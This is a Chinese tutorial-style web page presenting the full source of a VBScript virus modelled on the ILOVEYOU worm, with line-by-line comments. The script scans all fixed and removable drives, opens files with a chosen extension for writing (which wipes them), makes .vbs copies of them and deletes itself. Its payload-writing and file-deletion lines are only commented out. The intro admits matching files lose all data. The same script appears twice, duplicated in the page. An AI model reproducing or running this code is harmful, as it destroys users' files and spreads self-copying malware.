vbs病毒的简单例子源代码解析
(编辑:jimmy 日期: 2024/11/1 浏览:3 次 )
说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。如果你的系统不支持.vbs,可以将后缀改为.vbe
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口,显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口,显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub
下一篇:vbs中Empty和Null的区别